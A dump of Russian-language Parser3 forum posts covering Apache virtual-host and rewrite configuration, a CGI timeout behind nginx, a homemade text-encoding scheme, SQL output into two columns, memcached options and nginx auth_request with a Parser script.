# If your server contains mostly text or HTML documents, \"text/plain\" is\
# a good value.  If most of your content is binary, such as applications\
# or images, you may want to use \"application/octet-stream\" instead to\
# keep browsers from trying to display binary files as though they are\
# text.\
#\
DefaultType text/plain\
\
<IfModule mime_module>\
    #\
    # TypesConfig points to the file containing the list of mappings from\
    # filename extension to MIME-type.\
    #\
    TypesConfig etc/apache22/mime.types\
\
    #\
    # AddType allows you to add to or override the MIME configuration\
    # file specified in TypesConfig for specific file types.\
    #\
    #AddType application/x-gzip .tgz\
    #\
    # AddEncoding allows you to have certain browsers uncompress\
    # information on the fly. Note: Not all browsers support this.\
    #\
    #AddEncoding x-compress .Z\
    #AddEncoding x-gzip .gz .tgz\
    #\
    # If the AddEncoding directives above are commented-out, then you\
    # probably should define those extensions to indicate media types:\
    #\
    AddType application/x-compress .Z\
    AddType application/x-gzip .gz .tgz\
\
    #\
    # AddHandler allows you to map certain file extensions to \"handlers\":\
    # actions unrelated to filetype. These can be either built into the server\
    # or added with the Action directive (see below)\
    #\
    # To use CGI scripts outside of ScriptAliased directories:\
    # (You will also need to add \"ExecCGI\" to the \"Options\" directive.)\
    #\
    #AddHandler cgi-script .cgi\
\
    # For type maps (negotiated resources):\
    #AddHandler type-map var\
\
    #\
    # Filters allow you to process content before it is sent to the client.\
    #\
    # To parse .shtml files for server-side includes (SSI):\
    # (You will also need to add \"Includes\" to the \"Options\" directive.)\
    #\
\
    AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml\
    AddType application/x-httpd-php-source .phps\
\
\
    AddType text/html .shtml\
    AddOutputFilter INCLUDES .shtml\
</IfModule>\
\
#\
# The mod_mime_magic module allows the server to use various hints from the\
# contents of the file itself to determine its type.  The MIMEMagicFile\
# directive tells the module where the hint definitions are located.\
#\
#MIMEMagicFile etc/apache22/magic\
\
#\
# Customizable error responses come in three flavors:\
# 1) plain text 2) local redirects 3) external redirects\
#\
# Some examples:\
#ErrorDocument 500 \"The server made a boo boo.\"\
#ErrorDocument 404 /missing.html\
#ErrorDocument 404 \"/cgi-bin/missing_handler.pl\"\
#ErrorDocument 402 http://www.example.com/subscription_info.html\
#\
\
#\
# EnableMMAP and EnableSendfile: On systems that support it, \
# memory-mapping or the sendfile syscall is used to deliver\
# files.  This usually improves server performance, but must\
# be turned off when serving from networked-mounted \
# filesystems or if support for these functions is otherwise\
# broken on your system.\
#\
#EnableMMAP off\
#EnableSendfile off\
\
# Supplemental configuration\
#\
# The configuration files in the etc/apache22/extra/ directory can be \
# included to add extra features or to modify the default configuration of \
# the server, or you may simply copy their contents here and change as \
# necessary.\
\
# Server-pool management (MPM specific)\
\
Include etc/apache22/extra/httpd-mpm.conf\
\
# Multi-language error messages\
#Include etc/apache22/extra/httpd-multilang-errordoc.conf\
\
# Fancy directory listings\
#Include etc/apache22/extra/httpd-autoindex.conf\
\
# Language settings\
#Include etc/apache22/extra/httpd-languages.conf\
\
# User home directories\
#Include etc/apache22/extra/httpd-userdir.conf\
\
# Real-time info on requests and configuration\
#Include etc/apache22/extra/httpd-info.conf\
\
# Virtual hosts\
#Include etc/apache22/extra/httpd-vhosts.conf\
\
# Local access to the Apache HTTP Server Manual\
#Include etc/apache22/extra/httpd-manual.conf\
\
# Distributed authoring and versioning (WebDAV)\
#Include etc/apache22/extra/httpd-dav.conf\
\
# Various default settings\
#Include etc/apache22/extra/httpd-default.conf\
\
# Secure (SSL/TLS) connections\
#Include etc/apache22/extra/httpd-ssl.conf\
#\
# Note: The following must must be present to support\
#       starting without SSL on platforms with no /dev/random equivalent\
#       but a statically compiled-in mod_ssl.\
#\
<IfModule ssl_module>\
SSLRandomSeed startup builtin\
SSLRandomSeed connect builtin\
</IfModule>\
\
Include etc/apache22/Includes/*.conf\
\
Include /usr/local/ispmgr/etc/ispmgr.inc\
<Directory /home/balashov/data/www/radiobalashov.com.ua>\
	Options +ExecCGI +Includes\
	php_admin_value open_basedir \"/home/balashov/data:.\"\
	php_admin_flag engine on\
</Directory>\
<VirtualHost 178.20.155.231:81 >\
	ServerName radiobalashov.com.ua\
	AssignUserID balashov balashov\
	CustomLog /home/httpd-logs/radiobalashov.com.ua.access.log combined\
	DocumentRoot /home/balashov/data/www/radiobalashov.com.ua\
	ErrorLog /home/httpd-logs/radiobalashov.com.ua.error.log\
	ServerAdmin webmaster@radiobalashov.com.ua\
	ServerAlias www.radiobalashov.com.ua\
	AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml\
	AddType application/x-httpd-php-source .phps\
	php_admin_value open_basedir \"/home/balashov/data:.\"\
	php_admin_value sendmail_path \"/usr/sbin/sendmail -t -i -f webmaster@radiobalashov.com.ua\"\
	php_admin_value upload_tmp_dir \"/home/balashov/data/mod-tmp\"\
	php_admin_value session.save_path \"/home/balashov/data/mod-tmp\"\
	ScriptAlias /cgi-bin/ /home/balashov/data/www/radiobalashov.com.ua/cgi-bin/\
</VirtualHost>\
<Directory /home/asfn/data/www/asfn-podcast.com>\
	Options +ExecCGI +Includes\
</Directory>\
<VirtualHost 178.20.155.231:81 >\
	ServerName asfn-podcast.com\
	AssignUserID asfn asfn\
	CustomLog /home/httpd-logs/asfn-podcast.com.access.log combined\
	DocumentRoot /home/asfn/data/www/asfn-podcast.com\
	ErrorLog /home/httpd-logs/asfn-podcast.com.error.log\
	ServerAdmin webmaster@asfn-podcast.com\
	ServerAlias www.asfn-podcast.com\
	ScriptAlias /cgi-bin/ /home/asfn/data/www/asfn-podcast.com/cgi-bin/\
</VirtualHost>\
<Directory /home/balashovcomua/data/www/balashov.com.ua>\
	Options +ExecCGI +Includes\
	php_admin_value open_basedir \"/home/balashovcomua/data:.\"\
	php_admin_flag engine on\
</Directory>\
<VirtualHost 178.20.155.230:81 >\
	ServerName balashov.com.ua\
	AddDefaultCharset utf-8\
	AssignUserID balashovcomua balashovcomua\
	CustomLog /home/httpd-logs/balashov.com.ua.access.log combined\
	DocumentRoot /home/balashovcomua/data/www/balashov.com.ua\
	ErrorLog /home/httpd-logs/balashov.com.ua.error.log\
	ServerAdmin webmaster@balashov.com.ua\
	ServerAlias www.balashov.com.ua\
	AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml\
	AddType application/x-httpd-php-source .phps\
	php_admin_value open_basedir \"/home/balashovcomua/data:.\"\
	php_admin_value sendmail_path \"/usr/sbin/sendmail -t -i -f webmaster@balashov.com.ua\"\
	php_admin_value upload_tmp_dir \"/home/balashovcomua/data/mod-tmp\"\
	php_admin_value session.save_path \"/home/balashovcomua/data/mod-tmp\"\
	ScriptAlias /cgi-bin/ /home/balashovcomua/data/www/balashov.com.ua/cgi-bin/\
</VirtualHost>\
<Directory /home/balashov/data/www/m.radiobalashov.com.ua>\
	Options +ExecCGI -Includes\
	php_admin_value open_basedir \"/home/balashov/data:.\"\
	php_admin_flag engine on\
</Directory>\
<VirtualHost 178.20.155.231:81 >\
	ServerName m.radiobalashov.com.ua\
	AddDefaultCharset utf-8\
	AssignUserID balashov balashov\
	CustomLog /home/httpd-logs/m.radiobalashov.com.ua.access.log combined\
	DocumentRoot /home/balashov/data/www/m.radiobalashov.com.ua\
	ErrorLog /home/httpd-logs/m.radiobalashov.com.ua.error.log\
	ServerAdmin ya@sergeyorlov.net\
	ServerAlias www.m.radiobalashov.com.ua\
	AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml\
	AddType application/x-httpd-php-source .phps\
	php_admin_value open_basedir \"/home/balashov/data:.\"\
	php_admin_value sendmail_path \"/usr/sbin/sendmail -t -i -f ya@sergeyorlov.net\"\
	php_admin_value upload_tmp_dir \"/home/balashov/data/mod-tmp\"\
	php_admin_value session.save_path \"/home/balashov/data/mod-tmp\"\
	ScriptAlias /cgi-bin/ /home/balashov/data/www/m.radiobalashov.com.ua/cgi-bin/\
</VirtualHost>\
<Directory /home/balashovcomua/data/www/new.balashov.com.ua>\
	Options -ExecCGI -Includes\
</Directory>\
<VirtualHost 178.20.155.230:81 >\
	ServerName new.balashov.com.ua\
	AddDefaultCharset utf-8\
	AssignUserID balashovcomua balashovcomua\
	CustomLog /home/httpd-logs/new.balashov.com.ua.access.log combined\
	DocumentRoot /home/balashovcomua/data/www/new.balashov.com.ua\
	ErrorLog /home/httpd-logs/new.balashov.com.ua.error.log\
	ServerAlias www.new.balashov.com.ua\
</VirtualHost>\
<Directory /home/balashovcomua/data/www/old.balashov.com.ua>\
	Options +ExecCGI -Includes\
	php_admin_value open_basedir \"/home/balashovcomua/data:.\"\
	php_admin_flag engine on\
</Directory>\
<VirtualHost 178.20.155.230:81 >\
	ServerName old.balashov.com.ua\
	AddDefaultCharset utf-8\
	AssignUserID balashovcomua balashovcomua\
	CustomLog /home/httpd-logs/old.balashov.com.ua.access.log combined\
	DocumentRoot /home/balashovcomua/data/www/old.balashov.com.ua\
	ErrorLog /home/httpd-logs/old.balashov.com.ua.error.log\
	ServerAdmin webmaster@balashov.com.ua\
	ServerAlias www.old.balashov.com.ua\
	AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml\
	AddType application/x-httpd-php-source .phps\
	php_admin_value open_basedir \"/home/balashovcomua/data:.\"\
	php_admin_value sendmail_path \"/usr/sbin/sendmail -t -i -f webmaster@balashov.com.ua\"\
	php_admin_value upload_tmp_dir \"/home/balashovcomua/data/mod-tmp\"\
	php_admin_value session.save_path \"/home/balashovcomua/data/mod-tmp\"\
	ScriptAlias /cgi-bin/ /home/balashovcomua/data/www/old.balashov.com.ua/cgi-bin/\
</VirtualHost>\
<Directory /home/lipki/data/www/lipki.com.ua>\
	Options +ExecCGI +Includes\
	php_admin_value open_basedir \"/home/lipki/data:.\"\
	php_admin_flag engine on\
</Directory>\
<VirtualHost 178.20.155.231:81 >\
	ServerName lipki.com.ua\
	AssignUserID lipki lipki\
	CustomLog /home/httpd-logs/lipki.com.ua.access.log combined\
	DocumentRoot /home/lipki/data/www/lipki.com.ua\
	ErrorLog /home/httpd-logs/lipki.com.ua.error.log\
	ServerAdmin webmaster@lipki.com.ua\
	ServerAlias www.lipki.com.ua\
	AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml\
	AddType application/x-httpd-php-source .phps\
	php_admin_value open_basedir \"/home/lipki/data:.\"\
	php_admin_value sendmail_path \"/usr/sbin/sendmail -t -i -f webmaster@lipki.com.ua\"\
	php_admin_value upload_tmp_dir \"/home/lipki/data/mod-tmp\"\
	php_admin_value session.save_path \"/home/lipki/data/mod-tmp\"\
	ScriptAlias /cgi-bin/ /home/lipki/data/www/lipki.com.ua/cgi-bin/\
</VirtualHost>\
<Directory /home/*/data/>\
	php_admin_flag engine off\
</Directory>\
<Directory /home/balashovcomua/data/www/dom.balashov.com.ua>\
	Options -ExecCGI -Includes\
</Directory>\
<Directory /home/balashovcomua/data/www/510.balashov.com.ua>\
	Options +ExecCGI -Includes\
	php_admin_value open_basedir \"/home/balashovcomua/data:.\"\
	php_admin_flag engine on\
</Directory>\
NameVirtualHost 178.20.155.230:81\
NameVirtualHost 178.20.155.231:81\
<VirtualHost 178.20.155.230:81 >\
	ServerName dom.balashov.com.ua\
	AddDefaultCharset utf-8\
	AssignUserID balashovcomua balashovcomua\
	CustomLog /home/httpd-logs/dom.balashov.com.ua.access.log combined\
	DocumentRoot /home/balashovcomua/data/www/dom.balashov.com.ua\
	ErrorLog /home/httpd-logs/dom.balashov.com.ua.error.log\
	ServerAlias www.dom.balashov.com.ua\
</VirtualHost>\
<VirtualHost 178.20.155.230:81 >\
	ServerName 510.balashov.com.ua\
	AddDefaultCharset utf8\
	AssignUserID balashovcomua balashovcomua\
	CustomLog /home/httpd-logs/510.balashov.com.ua.access.log combined\
	DocumentRoot /home/balashovcomua/data/www/510.balashov.com.ua\
	ErrorLog /home/httpd-logs/510.balashov.com.ua.error.log\
	ServerAdmin webmaster@balashov.com.ua\
	ServerAlias www.510.balashov.com.ua\
	AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml\
	AddType application/x-httpd-php-source .phps\
	php_admin_value open_basedir \"/home/balashovcomua/data:.\"\
	php_admin_value sendmail_path \"/usr/sbin/sendmail -t -i -f webmaster@balashov.com.ua\"\
	php_admin_value upload_tmp_dir \"/home/balashovcomua/data/mod-tmp\"\
	php_admin_value session.save_path \"/home/balashovcomua/data/mod-tmp\"\
	ScriptAlias /cgi-bin/ /home/balashovcomua/data/www/510.balashov.com.ua/cgi-bin/\
</VirtualHost>\
[/code]"
"79176","[code]DirectoryIndex /html/blogs/blogs.html\
\
AddDefaultCharset utf-8\
\
AddHandler parsed-html .html .htm .rss\
Action parsed-html /cgi-bin/parser3.cgi\
\
# gzip сжатие.\
<IfModule mod_deflate.c>\
\
# html, txt, css, js, json, xml, htc:\
AddOutputFilterByType DEFLATE text/html text/plain text/css application/json\
AddOutputFilterByType DEFLATE text/javascript application/javascript application/x-javascript\
AddOutputFilterByType DEFLATE text/xml application/xml text/x-component\
\
# веб-шрифты и svg:\
<FilesMatch \"\\.(ttf|otf|eot|svg)$\" >\
    SetOutputFilter DEFLATE\
</FilesMatch>\
</IfModule>\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
# 480 weeks\
<FilesMatch \".(ico|pdf|flv|jpg|jpeg|png|gif|js|css|swf)$\">\
# Header set Cache-Control \"max-age=290304000, public\"\
 Header set Cache-Control \"max-age=604800, public\"\
</FilesMatch>\
 \
# 2 DAYS\
<FilesMatch \".(xml|txt)$\">\
Header set Cache-Control \"max-age=172800, public, must-revalidate\"\
</FilesMatch>\
 \
# 2 HOURS\
<FilesMatch \".(html|htm)$\">\
Header set Cache-Control \"max-age=7200, must-revalidate\"\
</FilesMatch>\
\
\
RewriteEngine on\
RewriteBase /\
Options +FollowSymlinks\
\
RewriteRule ^newsfeed.rss$ /news_feed.html [QSA,L]\
\
#RewriteCond %{HTTP_HOST}   !^$\
#RewriteCond %{HTTP_HOST}   !^www\\.          [NC]\
#RewriteCond %{HTTP_HOST}   (.+)$\
#RewriteRule ^(.*)          http://www.%1/$1 [L,R=301]\
\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_URI} !(.*)/$ \
RewriteRule ^(.*[^/])$ $1/ [L,R=301]\
\
\
RewriteCond %{REQUEST_FILENAME} !-d \
RewriteCond %{REQUEST_FILENAME} !-f\
\
\
\
\
#RewriteRule ^([^/\\.]+)/([^/\\.]+)/([^/\\.]+)/$ /html/pages.html?cat=$1&subcat=$2&page=$3 [QSA,L]\
\
\
\
#Отлавливаем старые записи\
RewriteRule ^(video|articles|news|anons)/(\\d+)-(.*?)$ /html/forwardarticles.html?id=$2&cat=$1 [QSA,L]\
\
\
RewriteRule ^godmode/$ /scripts/godmode.html [QSA,L]\
\
RewriteRule ^outlink/$ /html/outlink.html [QSA,L]\
\
RewriteRule ^users/$ /html/users/listUsers.html [QSA,L]\
RewriteRule ^users/(\\d+)/$ /html/users/userBlogs.html?user_id=$1 [QSA,L]\
RewriteRule ^users/([^/\\.]+)/messages/$ /html/users/messages.html?owner=me [QSA,L]\
\
\
RewriteRule ^blog.feed/$ /blog_feed.html [QSA,L]\
RewriteRule ^news.feed/$ /news_feed.html [QSA,L]\
\
\
\
RewriteRule ^balashov/$ /html/balashov.html [QSA,L]\
\
#Новости\
RewriteRule ^news/$ /html/news/listNews.html [QSA,L]\
RewriteRule ^(news)/([^/\\.]+)/$ /html/news/pageNews.html?name=$2 [QSA,L]\
\
#Блоги\
RewriteRule ^blogs/$ /html/blogs/blogs.html [QSA,L]\
RewriteRule ^blogs/post/$ /html/blogs/postBlog.html [QSA,L]\
RewriteRule ^blogs/edit/$ /html/blogs/editBlog.html [QSA,L]\
\
RewriteRule ^blogs/(new|week|day)/$ /html/blogs/blogs.html?filter=$1 [QSA,L]\
\
RewriteRule ^(blogs)/(\\d+)/$ /html/blogs/getBlog.html?aid=$2 [QSA,L]\
RewriteRule ^(blogs)/([^/\\.]+)/$ /html/blogs/getBlog.html?name=$2 [QSA,L]\
\
RewriteRule ^(video|articles)/page/(\\d+)/$ $1/?page=$2 [L,R=301]\
RewriteRule ^(page)/(\\d+)/$ /?page=$2 [L,R=301]\
\
RewriteRule ^(events)/([^/\\.]+)/$ /html/getEvent.html?name=$2 [QSA,L]\
\
RewriteRule ^(video|articles)/sections/([^/\\.]+)/$ /html/sections.html?name=$2 [QSA,L]\
RewriteRule ^(video|articles)/(\\d+)/$ /html/getPost.html?pid=$2&category=$1 [QSA,L]\
RewriteRule ^(video|articles)/([^/\\.]+)/$ /html/getPost.html?name=$2&category=$1 [QSA,L]\
RewriteRule ^(video|articles)/$ /html/posts.html?content_type=$1 [QSA,L]\
\
RewriteRule ^510/register/$ /html/510/register.html [QSA,L]\
\
\
RewriteRule ^([^/\\.]+)/([^/\\.]+)/([^/\\.]+)/$ /html/pages.html?cat=$1&subcat=$2&name=$3 [QSA,L]\
RewriteRule ^([^/\\.]+)/([^/\\.]+)/$ /html/pages.html?cat=$1&name=$2 [QSA,L]\
RewriteRule ^([^/\\.]+)/$ /html/pages.html?name=$1 [QSA,L]\
[/code]"
"79177","Все работало просто отлично, как только вы поставили nginx все стало хреново.\
Еще раз попробуйте обратиться к проблемной странице с ИмяВашегоДомена:81/вашУрл\
Я хочу исключить сам nginx, при таком подключении если все будет работать, то тут надо думать )), а если нет то явно проблема в другом."
"79178","В том то и дело, что работало хорошо до nginx. И если снести nginx, то снова будет работать :) а вот напрямую IP:81/адрес висяк на минут 10-15...\
\
При этом лог апача дает такую ерундовину: \
\
[code][Tue Nov 12 11:21:46 2013] [warn] [client 93.73.10.159] Timeout waiting for output from CGI script /home/balashovcomua/data/www/balashov.com.ua/cgi-bin/parser3.cgi\
[Tue Nov 12 11:21:46 2013] [error] [client 93.73.10.159] Script timed out before returning headers: parser3.cgi[/code]\
\
Вот я и в полном тупике... Ниже конфиги."
"79179","Доброго вам! У меня в голове одна идея, создать собственное шифрование, идея была на половину реализована путем создания не мной в php версии. Суть этого шифрования, что каждая буква и каждый символ, включая пробел, имеют свой четный номер. Текст анализируется и каждый символ заменяют его числовым значением. Эта строка разбивается по четырем цифрам, и получается на N-ное количество строк, сумма их суммируется и происходит многократное четное деление, после чего общее количество цифр в строке уменьшается, в итоге получается зашифрованный текст, состоящий из 160-250 или при возможности меньшим количеством цифр.\
А для декодирование полученная строка из цифр умножается на нужное число, а потом разбивается на четыре цифры и для каждой строки подбирается его буквенное или символьное значение.\
\
Вот код на php:\
[code]<?PHP\
function shifr($text,$keyarr){\
global $string2;\
$text=htmlspecialchars(stripslashes($text));\
$text= mb_strtolower($text);\
$text = str_replace(\" \",\"s\",$text);\
$i=-1;\
while(++$i<strlen($text)){\
$string =substr(\"$text\", $i, 1);\
$result.=$keyarr[$string];\
}\
$i=-1;\
while(++$i<ceil(strlen($result)/10)){\
$string=substr(\"$result\", $i*10, 10);\
$string= $string-1000000000000;\
$string2=$string2.'%'.$string;}\
}\
?>[/code]\
\
Помогите написать на парсере."
"79180","[code]$keytable[^table::create{\
word	digit\
a	2\
b	4\
c	6\
....\
}]\
\
\
@shifr[text;keytable][temp]\
$text[^text.match[[^^a-zA-Z ]][g][]]\
$text[^text.lower[]]\
$text[^text.match[ ][g][s]]\
$i(-1)\
^while($i < ^text.length[]){\
	^i.inc[]\
	^if(^keytable.locate[word;^text.mid($i;1)]){\
	$temp[${temp}$keytable.digit]\
}\
$i(-1)\
^while($i < ^math:ceiling(^temp.length[] / 10)){\
	^i.inc[]\
	$result[$result%^eval(^temp.mid($i * 10;10) - 1000000000000)]\
}[/code]\
\
Могут быть ошибки, я не стал даже это тестировать.\
Если вы хотите использовать какой-то приватный алгоритм, то не стоит выкладывать его в публичный доступ ;-)\
\
Лучше шифра Вернама для привата еще никто ничего лучше не придумал"
"79181","У меня адрес спокойно открывается http://balashov.com.ua:81/cgi-bin/parser3.cgi\
Не знаю запущен ли сейчас nginx, но он просто не как не может влиять на поведение апача, он просто проксирует запрос.\
Если же вы обращаетесь через 81 порт и все равно все зависает, то проблема только в апаче, мистика тут вряд ли есть."
"79182","Могу ошибаться, но по моему nginx способен как минимум менять заголовки запроса, может в этом направлении поискать?"
"79184","Он специально затачивался под такое использование, тогда как апач получил надстройку."
"79186","Модульность — это нормальная архитектура для сложного программного обеспечения. И mod_rewrite давно уже не расширение, а вполне стандартный модуль сервера. :)"
"79190","MoKo прав, скорее всего дело именно в ресолве ip-адреса\
Для начала попробуйте увеличить таймаут и \
\
[code]  $.timeout(30)\
  $.ipresolve(1)[/code]"
"79191","[code]$s[/a/b/]\
$t[^s.split[/;lv]]\
^t.count[][/code]\
\
-->3\
\
1. почему три а не четыре? Если пустая строка слева попадает в результат, то почему не попадает правая?\
2. почему вообще попадает левая, если она пустая?\
3. т.к. поведение п.2 не изменить в принципе из-за совместимости, нельзя ли добавить еще опцию t [=trim], которая будет делать тоже самое что:\
\
[code]$s[/a/b/]\
$s[^s.trim[both;/]]\
$t[^s.split[/;lv]]\
^t.count[][/code]\
--> 2"
"79192","Ищу партнера по программированию Строительной базы данных Строй ДБ (stroydb.com)\
Нужно доделать фронтэнд, написать админку, заниматься развитием (добавлением) новых фич на сайте. Развивать другие проекты, в т.ч. по защите информации.\
\
kirill # stroydb.ru"
"79193","т.к. сложность конфигурации возрастает в несколько раз.\
Он рекомендует использовать локейшины, а реврайты как очень крайний случай.\
Была запись с его выступления, по конфигу, очень занимательная вещь )"
"79194","Хотя автор, умалчивает о своих пробах, и не как не скажет работает ли сайт напрямую через апач, когда запущен nginx"
"79196","Есть код:\
\
[code]@termins[]\
^connect[mysql://abc:1234@localhost/abc]{ \
   $terms[^table::sql{select \
       id, name, abc\
   from \
       termins\
   where\
       abc=\"a\"\
   }]\
}\
^terms.sort{$terms.name}\
^terms.menu{<p><a href=\"../../$terms.id\">$terms.name</a></p>}[/code]\
\
Нужно разбить получаемые данные на два столбца. Пробовал через $.limit() и $.offset(), но тогда отбрасываются строки по времени их добавления в базу данных, а не по алфавиту.\
\
Как быть? Заранее спасибо."
"79197","http://www.parser.ru/examples/p2table/"
"79198","Можно на примере моего кода, а то что-то непонятно совсем? :("
"79199","[quote]Нужно разбить получаемые данные на два столбца[/quote]\
Поясните о каких двух из трех столбцах идет речь? Вы хотите полчить две таблицы id,name и id,abc?\
\
Тогда причем здесь limit и offset? Соритровать выборку лучше в самом запросе, добавив в него ORDER BY `name`\
\
Напишите пример нужного вам результата, пока не очень понятно"
"79200","[code]@termins[]\
^connect[mysql://abc:1234@localhost/abc]{ \
   $terms[^table::sql{select \
       id, name, abc\
   from \
       termins\
   where\
       abc=\"a\"\
   }]\
}\
^terms.sort{$terms.name}\
<table>\
<tr>\
^terms.menu{<td><a href=\"../../$terms.id\">$terms.name</a></td>}{^if(^terms.line[] % 2 == 0){</tr>}}\
</tr>\
</table>[/code]\
\
Вы можете написать, какой вывод в html-формате должен быть, тогда будет проще вам помочь"
"79201","Хочу добиться вот этого:\
[code]<table>\
	<td>\
		<!-- Первые 15-->\
		<p><a href=\"../../$terms.id\">$terms.name</a></p>\
	</td>\
	<td>\
		<!-- Вторые 15-->\
		<p><a href=\"../../$terms.id\">$terms.name</a></p>\
	</td>\
</table>[/code]\
\
Важно, чтобы сортировка по имени шла по всей таблице."
"79202","[code]@termins[]\
^connect[mysql://abc:1234@localhost/abc]{ \
   $terms[^table::sql{select \
       id, name, abc\
   from \
       termins\
   where\
       abc=\"a\"\
   order by name\
   }]\
}\
\
<table>\
	<td>\
		^terms.menu{<p><a href=\"../../$terms.id\">$terms.name</a></p>}{^if(^terms.offset[] == 15){</td><td>}}\
\
		или если надо таблицу разбить на две части:\
\
		^terms.menu{<p><a href=\"../../$terms.id\">$terms.name</a></p>}{^if(^terms.offset[] == ^math:ceiling($terms / 2)){</td><td>}}\
	</td>\
</table>[/code]"
"79203","Огромное спасибо) Все как надо)"
"79204","как сделать подключение к нескольким серверам с доп ключами\
--REMOVE_FAILED_SERVERS\
--BINARY-PROTOCOL\
?\
\
когда делаю:\
$memcached[^memcached::open[server1,server2,server3,server4]]  все хорошо, пока работают все сервера. при выключении любого из них -- ошибка коннекта.\
\
пытался делать:\
$memcached[^memcached::open[ \
   $.server[server1,server2,server3,server4] \
   $.binary-protocol(true) \
   $.connect-timeout(5) \
   $.remove_failed_servers(true)\
]] \
пишет INVALID ARGUMENTS (38).\
\
$memcached[^memcached::open[ \
   $.server[server1,server2,server3,server4] \
]] \
пишет INVALID ARGUMENTS (38).\
\
===\
ну, и насколько я помню:\
$memcached[^memcached::open[ \
   $.server[server1] \
   $.server[server2]\
   $.server[server3]\
   $.server[server4]\
]] \
-- глупость :)."
"79205","[url=\"http://docs.libmemcached.org/libmemcached_examples.html\"]http://docs.libmemcached.org/libmemcached_examples.html[/url] смотри второй абзац [b]# Creating a pool of servers[/b]\
\
[code]$memcached[^memcached::open[\
$.server[server1]\
$.server[server2]\
$.server[server3]\
$.server[server4]\
]][/code]\
\
– Как раз таки не глупость :)"
"79206","но, если:\
$hash[\
  $.server[А]\
  $.server[В]\
]\
\
то:\
$hash.server = B\
\
т.е. последнее передаваемое значение перезаписывает предыдущее"
"79208","[code]@termins[][terms;items]\
^connect[mysql://abc:1234@localhost/abc]{ \
	$limit(15)\
\
	$terms[^table::sql{\
		SELECT id, name, abc\
		FROM termins\
		WHERE abc = 'a'\
		ORDER BY name\
	}]\
\
	$terms[^terms.hash{^math:ceiling(^terms.line[] / $limit)}[\
		$.type[table]\
		$.distinct(true)\
	]]\
\
	$result[<table>\
		^terms.foreach[;items]{\
			<td>\
				<p><a href=\"../../$items.id\">$items.name</a></p>\
			</td>\
		}\
	</table>]\
}[/code]\
\
Плюс вы выбираете abc, но нигде не используете, что странно."
"79209","Как же не использую? Вот же WHERE abc = 'a'"
"79210","Совершенно необязательно перечислять в select поля, которые используются в where. Если эти поля не используются в парсеровском коде, то можно слегка сэкономить ресурсы и не получать лишние данные."
"79211","Спасибо за совет)"
"79213","К данному случаю это конечно не относится, но бывает и такое:\
\
http://www.parser.ru/forum/?id=71096"
"79214","$.BINARY-PROTOCOL(true) - правильно.\
\
[quote]$.server[server1,server2,server3,server4] [/quote]\
\
Увы, в новом синтаксисе memcached (с хешом) в качестве параметров - такое только через чит:\
$.server[server1 --server=server2 --server=server3 --server=server4] \
\
Вместо $.connect-timeout(5) надо $.connect-timeout[5]\
\
При передачи параметров хешом используется эта функция memcached, хеш нехитрым образом преобразуется в строку параметров:\
\
http://docs.libmemcached.org/libmemcached_configuration.html"
"79215","Тоже сначала хотел написать про [code]$.server[server1 --server=server2 --server=server3 --server=server4][/code], но в документации четко сказано:\
\
Ключами хеша с параметрами соединения могут быть любые опции, доступные у установленной в вашей системе библиотеки libmemcached (см. документацию). Имена опций нужно писать без префикса «--». \
\
Взято из\
[code]http://www.parser.ru/docs/lang/memcachedoptions.htm[/code]"
"79216","внутри парсер из хэша формирует строку подключения вида --ключ=значение --ключ2=значение2 --ключ3 ...\
\
т.е. если на вход подать предложенное Костей, то он добавит в начало \"--server=\" и получится то, что требуется :)"
"79218","[quote]Вместо $.connect-timeout(5) надо $.connect-timeout[5] [/quote]\
\
\
тогда надо исправить http://www.parser.ru/docs/lang/?memcachedopen.htm"
"79219","Клиент зарегистрировал хостинг.\
Поставил туда парсер, вроде бы все хорошо, но если обращаться к страницам именно через *.html показывается просто код, а если через / то все ок. Создается впечатление, что файлы просто не ассоциировались с парсером.\
[code]<Files ~ \"\\.p$\"> \
	Order allow,deny \
	Deny from all \
</Files>\
\
# Подключение Parser-а для всех .html-страниц\
Action parser3-handler /parser3/parser3.cgi\
AddHandler parser3-handler html [/code]"
"79220","Думаю там до apache что-нибудь типа nginx стоит, и все, что .html, отдается напрямую через nginx, а вот \"/\" уже вынужденно проксируется. Легко проверяется переименовыванием .html в менее стандартное расширение."
"79221","[quote]Параметры сохранены.\
Изменения вступят в силу в течение часа.[/quote]\
Мдя, как-то слишком сложно все сделано, что такие настройки в течении часа в очереди будут висеть :)"
"79222","мы наверное внутри исправим, чтобы (5) тоже работало :)"
"79223","не получается передать \"обратные\" заголовки из скрипта серверу\
\
Nginx:\
[code]\
...\
        location /w {\
		auth_request  /auth;\
\
		auth_request_set $test_uin $upstream_http_x_auth_uin;\
		add_header Test-Uin $test_uin;\
		auth_request_set $test_name $upstream_http_x_auth_name;\
		add_header Test-Name $test_name;\
\
		try_files $uri $uri/ / ;\
		index   index.p3h index.html;\
\
	}\
\
	location = /auth {\
		internal;\
\
	        root   /www/site-auth;\
\
		gzip off;\
        	fastcgi_pass	unix:/var/run/fcgiwrap.socket;\
\
		fastcgi_param	REALM		\"Test Auth\";\
		fastcgi_param	SCRIPT_NAME	/www/site-auth/auth.p3h;\
		fastcgi_param	SCRIPT_FILENAME	/www/parser/current/parser3.cgi;\
		fastcgi_param	PATH_INFO	/auth.p3h;\
		fastcgi_param	PATH_TRANSLATED	/www/site-auth/auth.p3h;\
\
\
		fastcgi_param	CGI_PARSER_LOG	/var/log/nginx/parser_auth.log;\
\
		fastcgi_param	Content-Length \"\";\
		fastcgi_param	CONTENT_LENGTH \"\";\
\
		include /etc/nginx/fastcgi_params;\
\
\
	}\
\
[/code]\
\
auth.p3h\
[code]\
 ...\
@main[]\
\
 ^rem{ get $login $pwd from $env:HTTP_AUTHORIZATION }\
 $http_auth[$env:HTTP_AUTHORIZATION]\
 $m[^http_auth.match[Basic ([a-zA-Z0-9=]+)]]\
 $http_auth[^string:base64[$m.1]]\
 $auth[^http_auth.match[(\\w+):(\\S+)]]\
 $UIN[$auth.1]\
 $PWD[$auth.2]\
 ...\
 ...\
  ^db{$userData[^hash::sql{SELECT UIN, passwd, RealName FROM Users WHERE UIN = _utf8'$UIN'}[$.limit(1)]]}\
 ...\
